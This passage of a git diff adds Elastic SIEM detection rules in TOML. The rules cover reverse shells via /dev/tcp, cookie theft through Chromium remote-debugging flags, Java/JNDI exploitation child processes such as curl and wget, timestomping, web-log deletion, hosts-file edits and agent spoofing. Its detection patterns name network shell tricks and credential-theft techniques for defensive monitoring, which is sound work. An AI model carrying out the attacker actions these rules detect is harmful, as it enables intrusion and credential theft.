000000000..5bb7bf18a --- /dev/null +++ b/rules/_deprecated/privilege_escalation_setgid_bit_set_via_chmod.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/04/23" +deprecation_date = "2021/03/16" +maturity = "deprecated" +updated_date = "2021/03/16" + +[rule] +author = ["Elastic"] +description = """ +An adversary may add the setgid bit to a file or directory in order to run a file with the privileges of the owning +group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application +with the setgid bit to get code running in a different user’s context. Additionally, adversaries can use this mechanism +on their own malware to make sure they're able to execute in elevated contexts in the future. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License" +max_signals = 33 +name = "Setgid Bit Set via chmod" +risk_score = 21 +rule_id = "3a86e085-094c-412d-97ff-2439731e59cb" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process AND event.type:(start or process_started) AND process.name:chmod AND process.args:(g+s OR /2[0-9]{3}/) AND NOT user.name:root +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.001" +name = "Setuid and Setgid" +reference = "https://attack.mitre.org/techniques/T1548/001/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/apm/apm_403_response_to_a_post.toml b/rules/apm/apm_403_response_to_a_post.toml new file mode 100644 index 000000000..085c46957 --- /dev/null +++ b/rules/apm/apm_403_response_to_a_post.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/07/13" + +[rule] +author = ["Elastic"] +description = """ +A POST request to a web application returned a 403 response, which indicates the web application declined to process the +request because the action requested was not allowed. +""" +false_positives = [ + """ + Security scans and tests may result in these errors. Misconfigured or buggy applications may produce large numbers + of these errors. If the source is unexpected, the user unauthorized, or the request unusual, these may indicate + suspicious or malicious activity. + """, +] +index = ["apm-*-transaction*", "traces-apm*"] +language = "kuery" +license = "Elastic License v2" +name = "Web Application Suspicious Activity: POST Request Declined" +references = ["https://en.wikipedia.org/wiki/HTTP_403"] +risk_score = 47 +rule_id = "a87a4e42-1d82-44bd-b0bf-d9b7f91fb89e" +severity = "medium" +tags = ["Elastic", "APM"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +http.response.status_code:403 and http.request.method:post +''' + diff --git a/rules/apm/apm_405_response_method_not_allowed.toml b/rules/apm/apm_405_response_method_not_allowed.toml new file mode 100644 index 000000000..4c4a71226 --- /dev/null +++ b/rules/apm/apm_405_response_method_not_allowed.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/07/13" + +[rule] +author = ["Elastic"] +description = """ +A request to a web application returned a 405 response, which indicates the web application declined to process the +request because the HTTP method is not allowed for the resource. +""" +false_positives = [ + """ + Security scans and tests may result in these errors. Misconfigured or buggy applications may produce large numbers + of these errors. If the source is unexpected, the user unauthorized, or the request unusual, these may indicate + suspicious or malicious activity. + """, +] +index = ["apm-*-transaction*", "traces-apm*"] +language = "kuery" +license = "Elastic License v2" +name = "Web Application Suspicious Activity: Unauthorized Method" +references = ["https://en.wikipedia.org/wiki/HTTP_405"] +risk_score = 47 +rule_id = "75ee75d8-c180-481c-ba88-ee50129a6aef" +severity = "medium" +tags = ["Elastic", "APM"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +http.response.status_code:405 +''' + diff --git a/rules/apm/apm_null_user_agent.toml b/rules/apm/apm_null_user_agent.toml new file mode 100644 index 000000000..0519fedd6 --- /dev/null +++ b/rules/apm/apm_null_user_agent.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/07/13" + +[rule] +author = ["Elastic"] +description = "A request to a web application server contained no identifying user agent string." +false_positives = [ + """ + Some normal applications and scripts may contain no user agent. Most legitimate web requests from the Internet + contain a user agent string. Requests from web browsers almost always contain a user agent string. If the source is + unexpected, the user unauthorized, or the request unusual, these may indicate suspicious or malicious activity. + """, +] +index = ["apm-*-transaction*", "traces-apm*"] +language = "kuery" +license = "Elastic License v2" +name = "Web Application Suspicious Activity: No User Agent" +references = ["https://en.wikipedia.org/wiki/User_agent"] +risk_score = 47 +rule_id = "43303fd4-4839-4e48-b2b2-803ab060758d" +severity = "medium" +tags = ["Elastic", "APM"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +url.path:* +''' + + +[[rule.filters]] + +[rule.filters."$state"] +store = "appState" +[rule.filters.exists] +field = "user_agent.original" +[rule.filters.meta] +disabled = false +indexRefName = "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index" +key = "user_agent.original" +negate = true +type = "exists" +value = "exists" + diff --git a/rules/apm/apm_sqlmap_user_agent.toml b/rules/apm/apm_sqlmap_user_agent.toml new file mode 100644 index 000000000..c37e7d68f --- /dev/null +++ b/rules/apm/apm_sqlmap_user_agent.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/07/13" + +[rule] +author = ["Elastic"] +description = """ +This is an example of how to detect an unwanted web client user agent. This search matches the user agent for sqlmap +1.3.11, which is a popular FOSS tool for testing web applications for SQL injection vulnerabilities. +""" +false_positives = [ + """ + This rule does not indicate that a SQL injection attack occurred, only that the `sqlmap` tool was used. Security + scans and tests may result in these errors. If the source is not an authorized security tester, this is generally + suspicious or malicious activity. + """, +] +index = ["apm-*-transaction*", "traces-apm*"] +language = "kuery" +license = "Elastic License v2" +name = "Web Application Suspicious Activity: sqlmap User Agent" +references = ["http://sqlmap.org/"] +risk_score = 47 +rule_id = "d49cc73f-7a16-4def-89ce-9fc7127d7820" +severity = "medium" +tags = ["Elastic", "APM"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +user_agent.original:"sqlmap/1.3.11#stable (http://sqlmap.org)" +''' + diff --git a/rules/cross-platform/credential_access_cookies_chromium_browsers_debugging.toml b/rules/cross-platform/credential_access_cookies_chromium_browsers_debugging.toml new file mode 100644 index 000000000..28a57eb64 --- /dev/null +++ b/rules/cross-platform/credential_access_cookies_chromium_browsers_debugging.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/12/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a Chromium based browser with the debugging process argument, which may indicate an attempt +to steal authentication cookies. An adversary may steal web application or service session cookies and use them to gain +access web applications or Internet services as an authenticated user without needing credentials. +""" +false_positives = ["Developers performing browsers plugin or extension debugging."] +from = "now-9m" +index = ["auditbeat-*", "winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "Potential Cookies Theft via Browser Debugging" +references = [ + "https://github.com/defaultnamehere/cookie_crimes", + "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/", + "https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/chrome_cookies.md", + "https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e", +] +risk_score = 47 +rule_id = "027ff9ea-85e7-42e3-99d2-bbb7069e02eb" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Windows", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.name in ( + "Microsoft Edge", + "chrome.exe", + "Google Chrome", + "google-chrome-stable", + "google-chrome-beta", + "google-chrome", + "msedge.exe") and + process.args : ("--remote-debugging-port=*", + "--remote-debugging-targets=*", + "--remote-debugging-pipe=*") and + process.args : "--user-data-dir=*" and not process.args:"--remote-debugging-port=0" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1539" +name = "Steal Web Session Cookie" +reference = "https://attack.mitre.org/techniques/T1539/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/cross-platform/defense_evasion_agent_spoofing_mismatched_id.toml b/rules/cross-platform/defense_evasion_agent_spoofing_mismatched_id.toml new file mode 100644 index 000000000..7f39cc445 --- /dev/null +++ b/rules/cross-platform/defense_evasion_agent_spoofing_mismatched_id.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2021/07/14" +maturity = "production" +updated_date = "2022/02/28" +min_stack_comments = "The field `event.agent_id_status` was not introduced until 7.14" +min_stack_version = "7.15.0" + +[rule] +author = ["Elastic"] +description = """Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch" +occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could +indicate attempts to spoof events in order to masquerade actual activity to evade detection. +""" +false_positives = [ + """ + This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the + necessary field, resulting in false positives. + """, +] +from = "now-9m" +index = ["logs-*", "metrics-*", "traces-*"] +language = "kuery" +license = "Elastic License v2" +name = "Agent Spoofing - Mismatched Agent ID" +risk_score = 73 +rule_id = "3115bd2c-0baa-4df0-80ea-45e474b5ef93" +severity = "high" +tags = ["Elastic", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.agent_id_status:agent_id_mismatch +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/cross-platform/defense_evasion_agent_spoofing_multiple_hosts.toml b/rules/cross-platform/defense_evasion_agent_spoofing_multiple_hosts.toml new file mode 100644 index 000000000..0a0955aaa --- /dev/null +++ b/rules/cross-platform/defense_evasion_agent_spoofing_multiple_hosts.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2021/07/14" +maturity = "production" +updated_date = "2022/02/16" +min_stack_comments = "The field `event.agent_id_status` was not introduced until 7.14" +min_stack_version = "7.15.0" + +[rule] +author = ["Elastic"] +description = """Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent +being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to +masquerade actual activity to evade detection. +""" +false_positives = [ + """ + This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the + necessary field, resulting in false positives. + """, +] +from = "now-9m" +index = ["logs-*", "metrics-*", "traces-*"] +language = "kuery" +license = "Elastic License v2" +name = "Agent Spoofing - Multiple Hosts Using Same Agent" +risk_score = 73 +rule_id = "493834ca-f861-414c-8602-150d5505b777" +severity = "high" +tags = ["Elastic", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "threshold" + +query = ''' +event.agent_id_status:* +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + + +[rule.threshold] +field = ["agent.id"] +value = 2 + +[[rule.threshold.cardinality]] +field = "host.id" +value = 2 diff --git a/rules/cross-platform/defense_evasion_deleting_websvr_access_logs.toml b/rules/cross-platform/defense_evasion_deleting_websvr_access_logs.toml new file mode 100644 index 000000000..b0f7f6259 --- /dev/null +++ b/rules/cross-platform/defense_evasion_deleting_websvr_access_logs.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of WebServer access logs. This may indicate an attempt to evade detection or destroy forensic +evidence on a system. +""" +from = "now-9m" +index = ["auditbeat-*", "winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "WebServer Access Logs Deleted" +risk_score = 47 +rule_id = "665e7a4f-c58e-4fc6-bc83-87a7572670ac" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Windows", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "deletion" and + file.path : ("C:\\inetpub\\logs\\LogFiles\\*.log", + "/var/log/apache*/access.log", + "/etc/httpd/logs/access_log", + "/var/log/httpd/access_log", + "/var/www/*/logs/access.log") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/cross-platform/defense_evasion_timestomp_touch.toml b/rules/cross-platform/defense_evasion_timestomp_touch.toml new file mode 100644 index 000000000..d50ae77f5 --- /dev/null +++ b/rules/cross-platform/defense_evasion_timestomp_touch.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2021/03/09" + +[rule] +author = ["Elastic"] +description = """ +Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that +are in the same folder. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "Timestomping using Touch Command" +risk_score = 47 +rule_id = "b0046934-486e-462f-9487-0d4cf9e429c6" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.name : "touch" and user.id != "0" and + process.args : ("-r", "-t", "-a*","-m*") and + not process.args : ("/usr/lib/go-*/bin/go", "/usr/lib/dracut/dracut-functions.sh", "/tmp/KSInstallAction.*/m/.patch/*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" +[[rule.threat.technique.subtechnique]] +id = "T1070.006" +name = "Timestomp" +reference = "https://attack.mitre.org/techniques/T1070/006/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/cross-platform/discovery_security_software_grep.toml b/rules/cross-platform/discovery_security_software_grep.toml new file mode 100644 index 000000000..f047e2b5b --- /dev/null +++ b/rules/cross-platform/discovery_security_software_grep.toml @@ -0,0 +1,80 @@ +[metadata] +creation_date = "2020/12/20" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of the grep command to discover known third-party macOS and Linux security tools, such as Antivirus +or Host Firewall details. +""" +false_positives = ["Endpoint Security installers, updaters and post installation verification scripts."] +from = "now-9m" +index = ["logs-endpoint.events.*", "auditbeat-*"] +language = "eql" +license = "Elastic License v2" +name = "Security Software Discovery via Grep" +risk_score = 47 +rule_id = "870aecc0-cea4-4110-af3f-e02e9b373655" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Linux", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and +process.name : "grep" and user.id != "0" and + not process.parent.executable : "/Library/Application Support/*" and + process.args : + ("Little Snitch*", + "Avast*", + "Avira*", + "ESET*", + "BlockBlock*", + "360Sec*", + "LuLu*", + "KnockKnock*", + "kav", + "KIS", + "RTProtectionDaemon*", + "Malware*", + "VShieldScanner*", + "WebProtection*", + "webinspectord*", + "McAfee*", + "isecespd*", + "macmnsvc*", + "masvc*", + "kesl*", + "avscan*", + "guard*", + "rtvscand*", + "symcfgd*", + "scmdaemon*", + "symantec*", + "sophos*", + "osquery*", + "elastic-endpoint*" + ) and + not (process.args : "Avast" and process.args : "Passwords") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1518" +name = "Software Discovery" +reference = "https://attack.mitre.org/techniques/T1518/" +[[rule.threat.technique.subtechnique]] +id = "T1518.001" +name = "Security Software Discovery" +reference = "https://attack.mitre.org/techniques/T1518/001/" + + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/cross-platform/discovery_virtual_machine_fingerprinting_grep.toml b/rules/cross-platform/discovery_virtual_machine_fingerprinting_grep.toml new file mode 100644 index 000000000..9f1a57f0a --- /dev/null +++ b/rules/cross-platform/discovery_virtual_machine_fingerprinting_grep.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/09/29" +maturity = "production" +updated_date = "2021/09/29" + +[rule] +author = ["Elastic"] +description = """ +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies +common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy +RAT and other malware. +""" +false_positives = [ + """ + Certain tools or automated software may enumerate hardware information. These tools can be exempted via user name or + process arguments to eliminate potential noise. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Virtual Machine Fingerprinting via Grep" +references = ["https://objective-see.com/blog/blog_0x4F.html"] +risk_score = 47 +rule_id = "c85eb82c-d2c8-485c-a36f-534f914b7663" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Linux", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.name in ("grep", "egrep") and user.id != "0" and + process.args : ("parallels*", "vmware*", "virtualbox*") and process.args : "Manufacturer*" and + not process.parent.executable in ("/Applications/Docker.app/Contents/MacOS/Docker", "/usr/libexec/kcare/virt-what") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1082" +name = "System Information Discovery" +reference = "https://attack.mitre.org/techniques/T1082/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/cross-platform/execution_pentest_eggshell_remote_admin_tool.toml b/rules/cross-platform/execution_pentest_eggshell_remote_admin_tool.toml new file mode 100644 index 000000000..82bbbe816 --- /dev/null +++ b/rules/cross-platform/execution_pentest_eggshell_remote_admin_tool.toml @@ -0,0 +1,25 @@ +[metadata] +creation_date = "2021/01/12" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies the execution of and EggShell Backdoor. EggShell is a known post exploitation tool for macOS and Linux." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "EggShell Backdoor Execution" +references = ["https://github.com/neoneggplant/EggShell"] +risk_score = 73 +rule_id = "41824afb-d68c-4d0e-bfee-474dac1fa56e" +severity = "high" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:espl and process.args:eyJkZWJ1ZyI6* +''' + diff --git a/rules/cross-platform/execution_python_script_in_cmdline.toml b/rules/cross-platform/execution_python_script_in_cmdline.toml new file mode 100644 index 000000000..23f4b3843 --- /dev/null +++ b/rules/cross-platform/execution_python_script_in_cmdline.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/01/13" +maturity = "development" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Python script is executed using command line input and imports the sys module. Attackers often use +this method to execute malicious scripts and avoiding writing it to disk. +""" +false_positives = ["Legitimate Python scripting activity."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Python Script Execution via Command Line" +risk_score = 47 +rule_id = "ee9f08dc-cf80-4124-94ae-08c405f059ae" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "macOS", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "python*" and process.args : "-c" and process.args : "*import*sys*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.006" +name = "Python" +reference = "https://attack.mitre.org/techniques/T1059/006/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/cross-platform/execution_revershell_via_shell_cmd.toml b/rules/cross-platform/execution_revershell_via_shell_cmd.toml new file mode 100644 index 000000000..39bbe8207 --- /dev/null +++ b/rules/cross-platform/execution_revershell_via_shell_cmd.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/01/07" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Reverse Shell Activity via Terminal" +references = [ + "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", + "https://github.com/WangYihang/Reverse-Shell-Manager", + "https://www.netsparker.com/blog/web-security/understanding-reverse-shells/", +] +risk_score = 73 +rule_id = "a1a0375f-22c2-48c0-81a4-7c2d11cc6856" +severity = "high" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name in ("sh", "bash", "zsh", "dash", "zmodload") and + process.args:("*/dev/tcp/*", "*/dev/udp/*", "zsh/net/tcp", "zsh/net/udp") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/cross-platform/execution_suspicious_jar_child_process.toml b/rules/cross-platform/execution_suspicious_jar_child_process.toml new file mode 100644 index 000000000..f45d8042a --- /dev/null +++ b/rules/cross-platform/execution_suspicious_jar_child_process.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/12/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious child processes of the Java interpreter process. This may indicate an attempt to execute a malicious +JAR file or an exploitation attempt via a JAVA specific vulnerability. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious JAVA Child Process" +references = [ +"https://www.lunasec.io/docs/blog/log4j-zero-day/", +"https://github.com/christophetd/log4shell-vulnerable-app", +"https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf", +] +risk_score = 47 +rule_id = "8acb7614-1d92-4359-bfcf-478b6d9de150" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "java" and + process.name : ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "wget") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.007" +name = "JavaScript" +reference = "https://attack.mitre.org/techniques/T1059/007/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/cross-platform/execution_suspicious_java_netcon_childproc.toml b/rules/cross-platform/execution_suspicious_java_netcon_childproc.toml new file mode 100644 index 000000000..d32f54e8a --- /dev/null +++ b/rules/cross-platform/execution_suspicious_java_netcon_childproc.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2021/12/10" +maturity = "production" +updated_date = "2021/12/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies an outbound network connection by JAVA to LDAP, RMI or DNS standard ports followed by a suspicious JAVA child +processes. This may indicate an attempt to exploit a JAVA/NDI (Java Naming and Directory Interface) injection vulnerability. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential JAVA/JNDI Exploitation Attempt" +references = [ +"https://www.lunasec.io/docs/blog/log4j-zero-day/", +"https://github.com/christophetd/log4shell-vulnerable-app", +"https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf", +] +risk_score = 73 +rule_id = "c3f5e1d8-910e-43b4-8d44-d748e498ca86" +severity = "high" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id with maxspan=1m + [network where event.action == "connection_attempted" and + process.name : "java" and + /* + outbound connection attempt to + LDAP, RMI or DNS standard ports + by JAVA process + */ + destination.port in (1389, 389, 1099, 53, 5353)] by process.pid + [process where event.type == "start" and + + /* Suspicious JAVA child process */ + process.parent.name : "java" and + process.name : ("sh", + "bash", + "dash", + "ksh", + "tcsh", + "zsh", + "curl", + "perl*", + "python*", + "ruby*", + "php*", + "wget")] by process.parent.pid +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.007" +name = "JavaScript" +reference = "https://attack.mitre.org/techniques/T1059/007/" + +[[rule.threat.technique]] +id = "T1203" +name = "Exploitation for Client Execution" +reference = "https://attack.mitre.org/techniques/T1203/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/cross-platform/impact_hosts_file_modified.toml b/rules/cross-platform/impact_hosts_file_modified.toml new file mode 100644 index 000000000..0cb021c41 --- /dev/null +++ b/rules/cross-platform/impact_hosts_file_modified.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/07/07" +maturity = "production" +updated_date = "2021/10/27" + +[rule] +author = ["Elastic"] +description = """ +The hosts file on endpoints is used to control manual IP address to hostname resolutions. The hosts file is the first +point of lookup for DNS hostname resolution so if adversaries can modify the endpoint hosts file, they can route traffic +to malicious infrastructure. This rule detects modifications to the hosts file on Microsoft Windows, Linux (Ubuntu or +RHEL) and macOS systems. +""" +from = "now-9m" +index = ["auditbeat-*", "winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Hosts File Modified" +note = """## Config + +For Windows systems using Auditbeat, this rule requires adding `C:/Windows/System32/drivers/etc` as an additional path in the 'file_integrity' module of auditbeat.yml.""" +references = ["https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-reference-yml.html"] +risk_score = 47 +rule_id = "9c260313-c811-4ec8-ab89-8f6530e0246c" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Windows", "macOS", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +any where + + /* file events for creation; file change events are not captured by some of the included sources for linux and so may + miss this, which is the purpose of the process + command line args logic below */ + ( + event.category == "file" and event.type in ("change", "creation") and + file.path : ("/private/etc/hosts", "/etc/hosts", "?:\\Windows\\System32\\drivers\\etc\\hosts") + ) + or + + /* process events for change targeting linux only */ + ( + event.category == "process" and event.type in ("start") and + process.name in ("nano", "vim", "vi", "emacs", "echo", "sed") and + process.args : ("/etc/hosts") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1565" +reference = "https://attack.mitre.org/techniques/T1565/" +name = "Data Manipulation" +[[rule.threat.technique.subtechnique]] +id = "T1565.001" +reference = "https://attack.mitre.org/techniques/T1565/001/" +name = "Stored Data Manipulation" + + + +[rule.threat.tactic] +id = "TA0040" +reference = "https://attack.mitre.org/tactics/TA0040/" +name = "Impact" diff --git a/rules/cross-platform/initial_access_zoom_meeting_with_no_passcode.toml b/rules/cross-platform/initial_access_zoom_meeting_with_no_passcode.toml new file mode 100644 index 000000000..f8fa1b7cb --- /dev/null +++ b/rules/cross-platform/initial_access_zoom_meeting_with_no_passcode.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/09/14" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to +Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. +Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video +conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material +that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. +""" +index = ["filebeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Zoom Meeting with no Passcode" +note = """## Config + +The Zoom Filebeat module or similarly structured data is required to be compatible with this 